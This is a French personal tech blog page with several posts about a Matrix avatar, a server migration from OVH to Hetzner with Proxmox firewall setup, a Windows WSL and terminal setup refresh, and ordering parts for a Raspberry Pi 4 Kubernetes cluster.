C’est pas cool comme image du coup, pour illustrer ce qui n’est qu’un avatar numĂ©rique ? Moi j’adore 🙂 Je l’ai trouvĂ© Ă  une Ă©poque oĂč je me sentais beaucoup mieux en ligne que dans le monde rĂ©el, et mĂȘme si c’est beaucoup moins le cas dĂ©sormais (je me soigne un peu, deux ans de Covid n’ont pas aidĂ© par contre), j’ai du mal Ă  vouloir en changer. Le monde rĂ©el ne va toujours pas mieux, mais dĂ©sormais ça se ressent aussi en ligne, pas Ă©vident. Je garde le mĂȘme en le foutant en noir et blanc peut-ĂȘtre ?

La salle d’interrogation originale, avec sa teinte verte

Oui, j’en fais peut-ĂȘtre un peu trop

Je ne me souviens plus comment je suis tombĂ© sur cette image, qui n’est probablement qu’une simple photo de tournage (d’ailleurs il ne me semble pas avoir ce plan en particulier dans le montage final du film), il n’y a donc pas forcĂ©ment de volontĂ© de jouer avec ces codes. Mais c’est comme les passages interminables de bouquins centenaires d’auteurs chiants comme la pluie dont on sur-interprĂšte les Ă©crits pour remplir les cours de littĂ©rature de « premiĂšre Â» de lycĂ©e sous prĂ©texte de dĂ©velopper l’esprit critique des jeunes, comme si les auteurs avaient vraiment juste envie de dire autre chose que de dĂ©crire une scĂšne chiante au possible sur trois pages, jusqu’à la couleur des moustaches d’un chat sans intĂ©rĂȘt.

Dans tous les cas, je me rĂ©pĂšte, Matrix, c’est gĂ©nial. Et mĂȘme si les films suivants ne sont pas Ă  la hauteur du premier pour moi – mal rythmĂ©s/montĂ©s, effets spĂ©ciaux vieillissants sur certains plans-, ça reste un univers marquant du cinĂ©ma, qui aura dĂ©bordĂ© ensuite sur des BD, du jeu vidĂ©o (mĂȘme si c’est pas glorieux comme rĂ©sultat), du court-mĂ©trage d’animation avec The Animatrix, bref, il continue de nourrir l’imaginaire collectif plus de 20 ans aprĂšs. Ce n’est pas pour rien, d’autant que les sujets d’IA sont de plus en plus nombreux, sans ĂȘtre plus rĂ©jouissante et la vision est moins pessimiste qu’un Terminator 😀

PS : Et mĂȘme s’il a peu de chance de lire ça, un grand merci Ă  Laurence Fishburne de me permettre de m’illustrer de maniĂšre marquante sur le net 🙂

  •  

Le déménagement du serveur est terminé !

Oui je sais, plusieurs mois sans article, et lĂ , juste un « message de service Â». Non pas que ça soit dingue comme opĂ©ration en plus, surtout que j’ai quand mĂȘme bien dĂ©rivĂ© de mon objectif initial (un peu comme pour le smarpthone), mais il fallait le mentionner. Petit retour rapide sur le pourquoi du comment, le dĂ©roulĂ©, certains choix, etc.

L’historique de la bĂȘte

Ça fait un moment que l’idĂ©e de dĂ©mĂ©nager le serveur me trotte dans la tĂȘte. En effet, le vĂ©nĂ©rable MiniSP 2014, qui date en fait de 2013, va donc sur ses neuf ans. Ça fait un bail que j’ai des soucis de performances disque avec, et il a eu chaud dans tous les sens du terme avec l’incendie de l’annĂ©e derniĂšre. Il est passĂ© par une quantitĂ© de mĂ©thodes d’installation, la derniĂšre en date est un Proxmox 5.4, oui je sais, ça fait un moment que le 7 est sorti, mais bon, vu l’ñge de la machine, j’ai envie de dire, hein, pas pressĂ©. Mais si j’envisageais dĂ©jĂ  un dĂ©mĂ©nagement l’annĂ©e derniĂšre, ça fait partie des choses qui sont passĂ©es en arriĂšre-plan, entre procrastination et changements de prioritĂ©s. Tout juste j’avais prĂ©parĂ© un plan de migration, qui on le verra, a Ă©tĂ© grandement remaniĂ© pour l’occasion. Et pour cause


Remember


La mauvaise surprise d’OVH

Mais coup de tonnerre, OVH m’a envoyĂ© un mail voilĂ  quelques temps pour m’annoncer que SBG4, le datacenter oĂč se trouve mon serveur rescapĂ©, va ĂȘtre reconstruit, et que donc pour l’occasion, ils coupent tout, sans intention de rallumer; Date butoir : 28 fĂ©vrier 2022. Les malins, ça leur permet de se dĂ©barrasser des anciennes gammes qui Ă©taient encore Ă  prix contenus, pas pour rien non plus que je le gardais sous le coude pĂ©pĂšre
 ils me proposent d’aller voir dans d’autres gammes, avec Ă  la clĂ©, si je reste chez OVH (pour des histoires d’adresse IP si je voulais les conserver), un tarif augmentĂ© de 20€ par mois minimum. Branle-bas de combat, s’agirait de se bouger donc.

On ressort le plan de migration, direction Hetzner, comparaison des prix et des gammes de serveurs chez OVH toujours; non pas Scaleway, pas envie/besoin de crĂ©er un Ă©niĂšme compte en ligne. Au passage, OVH m’a créé un ticket de support pour proposer son aide pour migrer les donnĂ©es, enfin surtout dire qu’ils filent un petit pourliche pour le premier mois d’un nouveau serveur. Quand j’ai rĂ©pondu que j’étais en train de dĂ©mĂ©nager ailleurs, le ticket a Ă©tĂ© vite fermĂ©. Ils sont plus rĂ©actifs que quand on leur pose une vraie question


La commande chez Hetzner, presque un sans faute, mais aussi une (trĂšs) mauvaise surprise

Je suis dĂ©jĂ  client, je joue rĂ©guliĂšrement avec le public cloud, mais lĂ , on passe aux choses sĂ©rieuses. Le serveur, c’est celui que je visais au dĂ©part, l’AX41-NVMe, avec la fiche technique qui fait se lĂ©cher les babines, dont voici les principaux critĂšres :

  • AMD Ryzen 5 3600 (6C12T, 3.6GHz)
  • 64Go de RAM
  • 2x SSD 512Go
  • RĂ©seau Gigabit

Aucune surprise sur le prix du serveur, la disponibilitĂ©, et la rapiditĂ© d’installation (que j’ai du refaire, j’y reviendrai). C’est sur le rĂ©seau oĂč j’ai pris une sacrĂ©e piqure : depuis milieu d’annĂ©e derniĂšre, Hetzner se voit contraint de reporter sur les clients finaux les couts d’achat des blocs d’IP, en raison d’explosion des tarifs liĂ©s Ă  la pĂ©nurie et aux brokers qui s’en foutent plein les poches; et ils n’ont pas la taille d’un OVH pour absorber ces couts. Et non, je n’envisage pas encore de me passer d’IP supplĂ©mentaire et tout faire en IPv6, c’est pas encore possible partout (coucou NordNet, pouvez-pas demander Ă  Orange de vous mettre Ă  jour, aprĂšs tout vous utilisez leur backbone). Mais voilĂ , au niveau tarif, on est sur un 182€ le setup :

Pour ceux qui ont l’habitude du manager OVH, on est sur du formulaire plus qu’austĂšre, mais qui est ultra-lĂ©ger et qui fonctionne, je n’ai pas eu Ă  rafraichir ou recommencer plusieurs fois. Le serveur Ă©tait marquĂ© disponible « within minutes Â» et en effet, il a Ă©tĂ© livrĂ© Ă  la vitesse de l’éclair. On peut directement passer sa clĂ© SSH pour l’installation, c’est toujours plus sympathique que de voir arriver un mot de passe root par mail


Le faux départ, et ensuite, que du bonheur

Par contre, j’ai perdu un peu de temps parce que j’ai commencĂ© Ă  configurer l’OS tout de suite, avant de me rendre compte que le partitionnement n’irait pas pour Proxmox : il manque LVM ! En effet, par dĂ©faut, le script d’installation d’Hetzner configure certes les disques en RAID1, mais ce sont des groupes de RAID pour chaque partition créée. Fort heureusement, on peut redĂ©marrer en rescue et relancer le script d’installation qui va tout refaire from scratch, par contre, dĂ©butants, vous transpirerez quelques minutes sur la gestion du partitionnement. En effet, j’ai voulu rester en RAID1, mais je ne savais pas comment il allait s’occuper du mix RAID + LVM. Je n’ai pas mis longtemps Ă  trouver la solution, mais la documentation gagnerait quelques exemples supplĂ©mentaires.

Ensuite, l’installation de Proxmox est triviale, on suit les instructions de Julien qui sont un peu plus Ă  jour que la doc d’Hetzner, et une fois redĂ©marrĂ©, Proxmox est prĂȘt Ă  l’emploi. Il faut quand mĂȘme passer par la case configuration du rĂ©seau. La documentation suffit, sinon quelques recherches feront l’affaire. Sans surprise parce que je suis mauvais en rĂ©seau, j’ai ratĂ© l’étape IPv6, mais il semblerait que la solution ne soit pas loin, donc affaire Ă  suivre. Je suis allĂ© au plus simple, parce que je manquais de temps, donc affectation directe d’IP, et je verrai ensuite pour le firewalling.

Pour le dĂ©mĂ©nagement en lui-mĂȘme, mĂȘme si j’avais prĂ©vu de refaire certaines VMs de zĂ©ro, je n’avais clairement pas le temps de tout faire. Je suis donc parti sur une des forces de l’utilisation des machines virtuelles : l’utilisation des sauvegardes ! Comme je n’ai pas un gros besoin de disponibilitĂ©, j’ai prĂ©venu un peu en avance que j’allais dĂ©mĂ©nager des trucs, et le jour oĂč j’ai voulu bouger, j’ai coupĂ© les machines, créé une sauvegarde (format lzo, fichier unique), transfĂ©rĂ© via rsync sur le nouveau serveur, une petite commande de restauration, et voilĂ . Enfin presque voilĂ , on reconfigure une partie du matĂ©riel (genre CPU pour repasser sur le dĂ©faut, la plateforme qu’on passe Ă  q35 parce que pourquoi pas, et on vire une carte rĂ©seau inutile), on dĂ©marre, on reconfigure le rĂ©seau pour utiliser une de nos chĂšres IPs, un test rapide, et hop bascule DNS de l’alias principal; ah oui, j’avais prĂ©parĂ© cette partie en amont pour me rĂ©duire la charge de travail de ce cĂŽtĂ©-lĂ . Le petit bĂ©mol vient dans le transfert vers Hetzner, avec un vieux serveur OVH bridĂ© Ă  250Mbit/s, ça prend du temps, 1h pour les plus grosses machines transfĂ©rĂ©es.

Ça m’a rappelĂ© ce vieux truc sur AOL


Et quand je disais que j’avais donc dĂ©viĂ© du plan initial, au-delĂ  de l’absence de recrĂ©ation des VMs from scratch, j’ai aussi fait l’impasse sur certaines machines qui n’étaient plus en utilisation. Ça permet de gagner du temps et de l’espace, car un des gros points faibles de ce nouveau serveur est clairement l’espace libre disponible : 430Go effectif, c’est lĂ©ger, mais c’est en partie parce qu’en l’état certaines machines sont surdimensionnĂ©es et je n’ai pas encore mis en place les backups externalisĂ©s. La migration aura au final tenu dans seulement deux machines effectivement restaurĂ©es (mĂȘme si j’ai quand mĂȘme fait une copie de certaines autres, au cas oĂč), dont la configuration aura Ă©tĂ© simplifiĂ©e au maximum. Ce qui veut dire que oui, pour l’instant le blog tourne toujours sur une machine dĂ©passĂ©e, qu’il est plus que nĂ©cessaire de remplacer.

Ce qui va mieux, ce qui sera mieux

Clairement, quand je vois la rĂ©activitĂ© de la machine qui hĂ©berge le blog, c’est un truc de fou. Dites-vous bien que le backup de la VM a pris un peu plus d’une heure Ă  ĂȘtre rĂ©alisĂ©, pour seulement 100Go de donnĂ©es. L’écriture ne dĂ©passait pas les 30Mo/s
 MĂȘme le SSH prenait du temps Ă  me donner la main sur le serveur, maintenant, les actions sur les services et les redĂ©marrages VM sont instantanĂ©s ou presque. Parcourez le blog, si vous avez l’impression d’ĂȘtre sur un site statique, non, c’est toujours WordPress. Mais clairement, on sent la diffĂ©rence notamment sur les opĂ©rations en backoffice.

J’ai aussi dĂ©cidĂ© de tester le firewall embarquĂ© dans Proxmox. DĂ©jĂ  parce que pourquoi pas. Ensuite parce qu’au bout de deux jours, j’ai pris un mail d’abuse me disant que le BSI, un quasi Ă©quivalent de l’ANSSI chez nous, avait dĂ©tectĂ© des services en Ă©coute sur mes IPs qui sont exploitables pour des attaques par rĂ©flexion/amplification. Et c’était vrai. Et ça m’a permis aussi de voir, en faisant l’inventaire sur les diffĂ©rentes VMs, que c’était assez bordĂ©lique et qu’il trainait aussi des reliquats de trucs que j’avais jamais utilisĂ©. Le truc le moins trivial de cette activation de firewall, c’est le fait qu’il faille l’activer au niveau de la VM, mais aussi de la carte rĂ©seau de la VM, sinon, ça ne s’active pas. Surprenant. En tout cas j’ai eu la bonne surprise de voir qu’il Ă©tait ready pour l’IPv6, et que les rĂšgles que j’ai créé seront appliquĂ©es directement. La configuration est relativement simple :

  • un IPset par host avec les IPs 4 et 6 associĂ©s
  • des alias ou des IPset pour les machines externes (genre celle pour le monitoring)
  • un Security group par host, avec des rĂšgles ciblant l’IPset
  • J’affecte chaque security group Ă  la VM associĂ©e

Ça sera probablement amĂ©liorĂ© dans le futur, du style crĂ©er des security groups pour les rĂšgles communes Ă  toutes les machines (ICMP, SSH et monitoring), ou crĂ©er des alias pour les IPs et ajouter ces alias dans les IPset, mais c’est dĂ©jĂ  un gros plus par rapport Ă  la situation prĂ©cĂ©dente. Et aussi, contrairement Ă  ce que j’ai pu faire sur un des VPS que j’ai dĂ©ployĂ© ou le firewall est gĂ©rĂ© par ufw via ansible, je trouve ça plus avancĂ© et souple Ă  l’usage. Le seul bĂ©mol, c’est que pour l’instant, je n’ai pas l’impression qu’on puisse gĂ©rer ce firewall via d’autres outils que l’interface web. Ni Ansible ni le provider terraform ne semblent armĂ©s, dommage. Je chercherai peut-ĂȘtre Ă  mettre en front un firewall type pfsense, mais lĂ  aussi, l’industrialisation des rĂšgles de flux sera importante, et pfsense ne semble pas plus exploitable que Proxmox, donc ça sera Ă  chercher, encore.

Un autre point qui va clairement ĂȘtre aussi gĂ©rĂ© dans un avenir proche, c’est l’accĂšs au Proxmox. Je viens de passer le MFA sur le compte root via TOTP, mais l’idĂ©e, c’est d’arrĂȘter de m’en servir pour mieux identifier qui fait les actions, y compris les miennes (nous serons au moins deux sur le serveur). Pareil, tout repose uniquement sur l’interface web.

Et enfin, les backups, ça c’est le boulot des jours qui viennent. Ça tombe bien, Hetzner vient de baisser le tarif des storage box, on va donc pouvoir mettre en place un espace dĂ©portĂ© pour que les VMs soient directement stockĂ©es en Finlande. Sans exclure une petite copie sur mon NAS parce que pourquoi pas 🙂

  •  

Mon setup WSL de fin 2021

Ouais, parce que pourquoi pas, voici un gros refresh de ce que j’avais pu prĂ©senter y’a deux ans. Ce qui change, ce qui ne change pas, ce qui me manque encore pour en faire un truc vraiment au top.

On remet le contexte

Je suis toujours sur mon Windows 10 LTSC 2019, donc sur la branche 1809 de Windows 10. Je n’ai pas la capacitĂ© d’installer certaines choses comme le WSL2, le Windows Terminal, etc. Mon utilisation du WSL reste ceci dit ponctuelle, ce qui n’empĂȘche pas de vouloir un environnement confortable, et plus lĂ©ger que si je passais par Virtualbox.

Parmi les articles que je vous Ă©pargnerai, parce que le brouillon traine depuis presque aussi longtemps que l’article d’origine, il y a mon combat pour les caractĂšres spĂ©ciaux, emoji en tĂȘte, mais aussi ceux spĂ©cifiques Ă  Powerline (version python ou bash, mĂȘme combat), avec la console Windows. J’avais quand mĂȘme fini par m’en sortir, mais les contrĂŽles de copier/coller Ă  l’ancienne Ă  la mode windows, non vraiment
 J’ai donc procĂ©dĂ© Ă  la bascule sur Terminator, et on va redĂ©tailler bientĂŽt ce que ça implique et ce qui a changĂ© par rapport Ă  la version initiale. Terminator a besoin d’ĂȘtre relancĂ© pour prendre en compte l’installation dans Ubuntu des nouvelles polices d’affichage en passant, pas grave en soi, juste pĂ©nible.

Et j’utilise toujours Sublime Text 3, dont l’insistance à vouloir me faire faire la mise à jour vers Sublime Text 4 commence à m’agacer particuliùrement. Je vous le donne en mille, ils imposent de payer si on veut rester sur la branche 3 sans se taper les messages insistants (et quand je dis insistants, c’est toutes les heures).

Et enfin, l’enrobage de tout ça, un Ubuntu 18.04 qui certes n’est pas encore Ă  mettre Ă  la retraite, mais dont l’anciennetĂ© de la majoritĂ© des packages commence Ă  me hĂ©risser le poil. Dire qu’avec nos futurs PCs au boulot (suite au rachat par Accenture), qui pourront ĂȘtre fournis avec Ubuntu MATE, mais en version 18.04 pour l’instant (Ă  cause d’une trop grande appĂ©tence pour des outils de verrouillage et de renforcement de la sĂ©curitĂ© dans tous les sens)


On repart de zéro, sans rien casser

C’est pas Ă©vident mine de rien, d’autant plus que toujours pas de Microsoft Store, qui continue d’ĂȘtre la rĂ©fĂ©rence pour l’installation en mode cliquodrome. Mais c’est moins pĂ©nible, d’autant que Microsoft liste les images officiellement supportĂ©es sur une page dĂ©diĂ©e. La particularitĂ©, c’est que je n’ai pas pu installer directement le package, je n’avais pas de retour. Le contournement, c’est de renommer le .appx en .zip, de l’extraire dans un dossier, et de lancer l’exĂ©cutable d’installation directement depuis le dossier, via powershell :

On suit les instructions qui se rĂ©sument Ă  crĂ©er l’utilisateur et son mot de passe, et on laisse l’installation se terminer, ralentie par l’action constante d’un Windows Search et d’un scanner antimalware qui n’ont que ça Ă  foutre de plomber les perfs (il m’a fallu presque 14 minutes pour installer Ansible Ă  cause de ça, et sur un SSD NVMe
).

LĂ  oĂč ça se complique un peu, c’est que si on lance tout de suite bash, on retombe
 sur la version 18.04, et pas sur la version fraichement installĂ©e. Et pas de chemin genre ubuntu20/bash ou un truc dans le genre. Bon c’est pas grave, je peux ouvrir une fenĂȘtre dĂ©diĂ©e Ă  partir du menu Windows, Une icĂŽne Ubuntu 20.04 LTS s’étant invitĂ©e Ă  la fĂȘte Ă  cĂŽtĂ© de celle sobrement intitulĂ©e « Ubuntu Â» abritant mon installation historique.

J’ai donc bien deux installations sĂ©parĂ©es, et je n’ai plus qu’à refaire ou transfĂ©rer ce qui m’est nĂ©cessaire. J’essaie donc trĂšs vite d’avoir mon Terminator, qui semble m’installer une quantitĂ© affolante de packages, y compris sane-utils, un paquet qui regroupe des outils pour
 la gestion de scanners papier, vraiment la gestion des dĂ©pendances made in Ubuntu c’est un enfer. M’enfin, j’ai mon Terminator, et je cherche Ă  dĂ©marrer dessus direct pour continuer Ă  travailler l’installation de la suite.

L’astuce de la version par dĂ©faut

Comme je l’ai dit, si on appelle bash depuis l’environnement Windows, on tombe sur l’ancienne installation 18.04. Hors, le script VBS, qui est toujours d’actualitĂ© car j’ai rĂ©utilisĂ© le mĂȘme, appelle bash qui appelle ensuite terminator. Deux petites minutes de recherche, et j’apprends l’existence de l’utilitaire wslconfig.exe. Ni une ni deux :

PS C:\Users\Seboss666\Downloads\Ubuntu_2004> wslconfig.exe /l
Distributions du sous-systĂšme Windows pour Linux :
Ubuntu-18.04 (par défaut)
Ubuntu-20.04

Il suffit de le rappeler avec l’option /s <nom de la distrib> et voilà le travail :

PS C:\Users\Seboss666\Downloads\Ubuntu_2004> wslconfig.exe /s Ubuntu-20.04
PS C:\Users\Seboss666\Downloads\Ubuntu_2004> wslconfig.exe /l
Distributions du sous-systĂšme Windows pour Linux :
Ubuntu-20.04 (par défaut)
Ubuntu-18.04

Si je clique sur mon raccourci de lancement du script, j’ai mon terminator tout neuf sur mon Ubuntu 20.04 tout aussi neuf. Je peux donc avancer plus sereinement.

Le shell : au revoir Powerline.bash, bonjour Starship.rs

Ça, c’est JĂ©rĂ©my au boulot qui me l’a fait dĂ©couvrir. AprĂšs avoir manipulĂ© le fichier de configuration pendant 1h pour avoir un setup qui me plaisait, j’ai adorĂ© la qualitĂ©, la rapiditĂ© de l’outil. On installe un binaire, on a un fichier de conf, on ajoute l’appel dans son bashrc/bash_aliases en fonction des gouts et des couleurs, et roulez jeunesse. Le setup est moins lourd, et surtout, j’ai quelques limitations avec Powerline.bash comme la gestion de l’environnement kube qui m’ont convaincu de basculer.

C’est d’ailleurs une des petites fonctionnalitĂ©s qu’on pense gadget au dĂ©part, qui m’a fait mesurer prĂ©cisĂ©ment la durĂ©e d’installation d’Ansible, jugez plutĂŽt :

Je mentais pas sur le quart d’heure 😀 Quand on peaufine un peu son fichier toml, on peut arriver à un setup un peu sympa, jugez plutît :

J’ai encore quelques autres modules actifs, mais avec ce que j’ai sous la main de mon setup perso, c’est dĂ©jĂ  pas mal. On a donc, dans l’ordre :

  • Le contexte kube quand il est dĂ©fini (ici dans le fichier .kube/config qui contient le cluster Pi4)
  • Le virtualenv quand il est chargĂ©
  • Le dossier dans lequel on se trouve
  • La branche git si c’est un dĂ©pot, le numĂ©ro de commit
  • L’état du workspace git quand il est autre que « clean Â» (ici, au moins un fichier trackĂ© a Ă©tĂ© modifiĂ©)
  • La durĂ©e d’exĂ©cution de la derniĂšre commande

Dans les autres possibilitĂ©s, le workspace terraform, les infos sur du chart helm, et autres joyeusetĂ©s du genre. Je vous laisse dĂ©couvrir la documentation monstrueuse qui vous dĂ©taille toutes les possibilitĂ©s. À noter que c’est ce que j’ai fait pour certains modules, notamment pour personnaliser les couleurs ou la syntaxe, et l’ordre d’affichage aussi. C’est plutĂŽt complet. Au passage, juste aprĂšs son installation j’avais toujours le souci de polices (les caractĂšres spĂ©ciaux sur les branches git par exemple). J’ai fait simple, installation du paquet powerline-fonts qui convient, on redĂ©marre Terminator, on sĂ©lectionne la bonne police dans les options d’affichage et roulez jeunesse.

Applications graphiques : le thĂšme sombre !

Eh oui, je m’en suis rendu compte trĂšs, trĂšs vite, en ouvrant les options de Terminator, puis en constatant les menus de Sublime Text, c’est blanc, trĂšs blanc. Mais comme je n’ai pas de bureau, pas d’application ou de panneau de configuration facilement accessible pour gĂ©rer tout ça.

C’est via une bidouille pour les paquets flatpak qui ne respectent pas le thĂšme installĂ© que j’ai pu trouver ma solution : une simple variable d’environnement. Alors oui dit comme ça, on a l’impression que c’est trop facile, mais j’ai fouillĂ© des rĂ©sultats de recherche pendant plus d’un quart d’heure, et mĂȘme comme ça, il aura fallu un certain temps avant d’avoir un truc qui marche.

Et je suis allĂ© au plus simple : via gsettings, j’ai regardĂ© ce qui Ă©tait installĂ© comme thĂšme :

$ gsettings get org.gnome.desktop.interface gtk-theme
'Adwaita'

La variable d’environnement, c’est GTK_THEME, et on peut mĂȘme sĂ©lectionner des variantes. Dans mon cas, je veux la version dark. J’ai donc ajoutĂ© Ă  mon bash_aliases GTK_THEME=Adwaita:dark et voilĂ . Mais terminator n’en bĂ©nĂ©ficie pas, lui. Il a donc fallu que je modifie le VBScript pour l’inclure :

(...)
	shell.run "C:\Windows\System32\wsl.exe bash -c ""cd " & cdPath & "; DISPLAY=:0 GTK_THEME=Adwaita:dark terminator""", 0, true
(...)

Et voilĂ , tout ce petit monde sait dĂ©sormais s’afficher en sombre, avec tout ce qu’il me faut pour mes bricolages persos. Au passage, je suis passĂ© sur Sublime Text 4, toujours aussi pratique Ă  utiliser, l’installation de Package control est enfin incluse (on se demande pourquoi c’est pas directement embarquĂ© d’emblĂ©e
), quelques packages en moins Ă  installer (thĂšme sombre d’origine, support yaml), bref, rien qui justifie que je m’étende.

Au final ça m’aura repris quand mĂȘme une bonne heure pour faire le tour de tout ça, un peu trop long Ă  mon goĂ»t, je pense que je vais bosser pour rĂ©duire ce dĂ©lai pour la prochaine fois.

En attendant WSL2, bientĂŽt ?

En effet, Microsoft vient de sortir le dernier refresh de sa branche LTSC, 2021, basĂ© sur Windows 10 21H1. Il y aura donc possibilitĂ© de faire du WSL2, du Windows Terminal, bref, de tester tout ce qu’un collĂšgue de travail fait depuis qu’il a retrouvĂ© un PC de boulot Windows (il travaillait sur un macbook perso avant
). Et non, certainement pas de Windows 11 avant trĂšs longtemps.

Une installation que je vais certainement envisager dĂ©but d’annĂ©e prochaine. En espĂ©rant qu’en plus ça me libĂšre de quelques plantages gĂȘnants, faut dire que le Windows que j’utilise actuellement date d’avant la sortie du CPU, et j’arrive pas Ă  me sortir de la tĂȘte que ça fait partie des causes des multiples Ă©crans bleus que j’ai pu avoir (avec des messages diffĂ©rents Ă  chaque fois).

  •  

Enfin un cluster de Raspberry Pi 4 !

Depuis trop longtemps un brouillon de rĂ©flexion sur l’évolution de mon hĂ©bergement maison traĂźne sans que je prenne le temps de le terminer (avec derriĂšre la rĂ©flexion sur le marchĂ© du matĂ©riel, que j’ai du remanier plusieurs fois sur la derniĂšre annĂ©e passĂ©e
). MoralitĂ©, les Ă©vĂšnements se sont chargĂ©s de bousculer un planning dĂ©jĂ  trĂšs peu dĂ©fini, et le matĂ©riel de remplacement est dĂ©jĂ  lĂ . On va donc faire dans le trĂšs rĂ©sumĂ© pour savoir ce qu’il en est, mĂȘme si c’est dans le titre.

Pour ceux qui auraient la flemme de dĂ©terrer les archives, j’utilisais donc en guise de microserveur une plateforme Pentium J4205 certes limitĂ©e en performances, mais au silence absolu et Ă  la consommation trĂšs faible. AccompagnĂ©e de 8Go de RAM, avec un SSD SATA de 128, puis 256 puis 512Go de capacitĂ©, le tout fonctionnant avec Proxmox VE, l’environnement de virtualisation opensource qui continue son bonhomme de chemin sous la houlette de l’entreprise allemande Proxmox Server Solutions.

Globalement j’en ai Ă©tĂ© trĂšs content, mais j’ai toujours Ă©tĂ© conscient du manque de puissance Ă  ma disposition. Une tentative pĂ©nible d’installation d’un Gitlab (remplacĂ© par Gitea), puis plus tard un Jenkins (pas remplacĂ©) m’en a convaincu, si j’avais encore des doutes. Le passage Ă  un cluster Kubernetes avec k3s aussi. Avec ce dernier le manque de RAM s’est trĂšs vite fait sentir, les choix sur le stockage Ă©galement avec Longhorn, dont je n’avais pas correctement anticipĂ© la lourdeur. La rĂ©flexion se penchait donc en partie sur une augmentation de performances, de ressources de maniĂšre gĂ©nĂ©rale, mais pas seulement.

Longhorn avait dĂ©jĂ  des soucis, certains pods se retrouvaient avec des volumes en lecture seule sans que j’en trouve l’explication. Je n’étais pas tout seul, d’autres aussi ont eu le souci avec des installations matĂ©rielles diffĂ©rentes, ce n’est donc pas juste un souci avec mon environnement particulier. Mais le problĂšme a empirĂ© quand c’est le matĂ©riel sous-jacent qui a commencĂ© Ă  avoir des soucis, avec des erreurs SATA qui foutaient les partitions du Proxmox en lecture seule, et donc toutes les VMs avec. Remplacer le matĂ©riel devenait donc plus urgent.

Du vrai clustering ?

Eh oui, expĂ©rimenter k3s m’a confirmĂ© que oui, je pouvais avoir une installation Kubernetes chez moi qui ne demande pas 3000 balles de matos. Mais un des problĂšmes d’avoir une seule machine, est que certes j’avais trois nƓuds « kube Â», mais tous finissaient dans le mĂȘme Ă©tat en mĂȘme temps, Ă  savoir HS. Et parfois, j’étais obligĂ© de jouer du fsck pour faire repartir les machines virtuelles. J’avais donc envie de corriger cette situation, et si possible sans faire exploser le budget que j’avais commencĂ© Ă  fixer, Ă  savoir autour des 400~500€.

Les Raspberry Pi sont prisĂ©s depuis plusieurs annĂ©es pour leur tarif abordable et l’écosystĂšme qui s’est construit autour. La derniĂšre itĂ©ration en date, le Pi 4, met la barre assez haut avec une compatibilitĂ© 64bit, jusqu’à 8Go de RAM, un vrai rĂ©seau Gigabit (en plus du Wifi et du Bluetooth), et quelques erreurs de jeunesse ont Ă©tĂ© corrigĂ©es (compatibilitĂ© USB-C, chauffe excessive du SoC) le rendant finalement tout Ă  fait adaptĂ© aujourd’hui. Les ressources texte et vidĂ©os sur ce type d’installation que j’ai pu voir dĂ©filer m’ont attirĂ© de plus en plus. J’ai donc commencĂ© Ă  simuler un setup (archi, budget, etc). Et comme je suis dans l’urgence, j’ai mĂȘme dĂ©rivĂ© de ma vision initiale.

En effet, dans les Ă©volutions liĂ©es au Raspberry Pi, il y a dĂ©sormais la possibilitĂ© de dĂ©marrer sur un stockage externe, USB dans le cas prĂ©sent, et j’envisageai de migrer de Longhorn Ă  Rook pour le stockage Ă  l’intĂ©rieur du cluster (spoiler, sur Raspbian c’est compliquĂ© parce que pas de module noyau pour ceph pas dĂ©faut 🙁 ). C’est quelque chose que j’ai pour l’instant laissĂ© de cĂŽtĂ©, je me suis quand mĂȘme tournĂ© vers des cartes microSD performantes et spacieuses, et j’ai toujours le NAS qui va tout de mĂȘme bosser dans l’urgence avec le provisioner NFS. Et tant pis pour la lenteur dudit NAS quand tout redĂ©marre Ă  froid. Puisque j’ai le matĂ©riel, Ă  part un petit switch rĂ©seau Ethernet Gigabit pour accompagner ce cluster, je vais monter mes cĂąbles rĂ©seau moi-mĂȘme, parce que pourquoi pas, ça permet surtout de les faire Ă  une longueur qui soit pas trop dĂ©connante. Ça m’exerce aussi un peu, hein, on va pas se mentir.

L’expĂ©rience « sans Amazon Â» continue, avec Conrad cette fois (spoiler : c’est pas dingue)

C’est un futur ex-collĂšgue (en fonction de la date de sortie, il aura dĂ©jĂ  changĂ© de crĂšmerie) qui s’est intĂ©ressĂ© Ă  ce site pour commander les Ă©lĂ©ments. Au-delĂ  de l’idĂ©e d’éviter Amazon, une des problĂ©matiques qu’on envisageait diffĂ©remment concernait l’alimentation. J’envisageais un « chargeur Â» grosse capacitĂ© avec plusieurs prises USB. Lui cherchait Ă  se tourner vers une alim 5V « industrielle Â», dans l’optique d’alimenter les Pi via les ports GPIO. AprĂšs m’ĂȘtre un peu documentĂ©, c’est tout Ă  fait possible, mais pas recommandĂ© car les ports GPIO ne disposent pas des mĂȘmes protections Ă©lectriques intĂ©grĂ©es que le port USB-C. J’ai aussi Ă©vacuĂ© le HAT PoE(+) parce qu’il est ventilĂ© et qu’en l’état il est toujours question d’une installation full fanless, sans parler de la chauffe qui accompagne encore la derniĂšre rĂ©vision du module, malgrĂ© les corrections, ou le coĂ»t doublĂ© du switch associĂ©. Mais malgrĂ© tout je suis restĂ© sur le site et une fois le panier terminĂ©, le tarif annoncĂ© pour un cluster trois nƓuds Ă©tait dans mes « normes Â», aux alentours de 500€ tout de mĂȘme, avec des Pi 4 en version 8Go, la seule version disponible Ă  ce moment-lĂ . MĂȘme avec la livraison, comme quoi, c’est possible.

Bon par contre, dire que l’expĂ©rience fut complĂštement agrĂ©able est un mensonge. La crĂ©ation du compte a Ă©tĂ© simple, mais passer commande fut beaucoup plus sportif. En effet, au niveau du panier, le bouton pour passer commande a commencĂ© par me renvoyer
 une erreur cryptique. Et c’est tout, il ne se passe rien. Il a fallu que je passe par les outils dĂ©veloppeur du navigateur pour voir le vrai message, Ă  savoir que l’un des produits, en l’occurrence le chargeur 72W, n’était pas disponible pour les particuliers. Un coup de remplacement du produit plus tard par un autre modĂšle Ă©quivalent qui passe, j’ai pu continuer la commande. Mais ça, c’était l’introduction.

Bon courage pour savoir à quoi ça correspond :/

J’ai de fait Ă©tĂ© déçu de voir qu’ils n’ont pas cherchĂ© Ă  tout regrouper dans le mĂȘme colis. Jugez plutĂŽt, j’ai reçu les Pi, les cartes, le rack, les radiateurs, le switch, mais pas le chargeur ni les cĂąbles d’alim qui vont avec; alors que tout Ă©tait marquĂ© en stock. Et en parlant de livraison, GLS
 Comment dire que je suis confus par ce qui s’est passĂ©. En gros, ils m’ont envoyĂ© un SMS pour dire quand ils livraient. Pas de bol, c’est un des rares jours oĂč je devais retourner au bureau (je sais pas si j’en parlerai un jour, j’arriverai pas Ă  rester diplomatique je pense), et heureusement, ils proposent de pouvoir changer la date. Enfin, heureusement
